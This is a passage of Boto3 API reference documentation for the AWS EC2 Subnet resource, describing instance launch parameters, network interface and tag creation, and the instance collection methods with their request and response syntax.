EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1089)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1091)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = subnet.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1094)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1096)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = subnet.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSubnet) + +**Request Syntax** + +response = subnet.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = subnet.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = subnet.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = subnet.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = subnet.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + 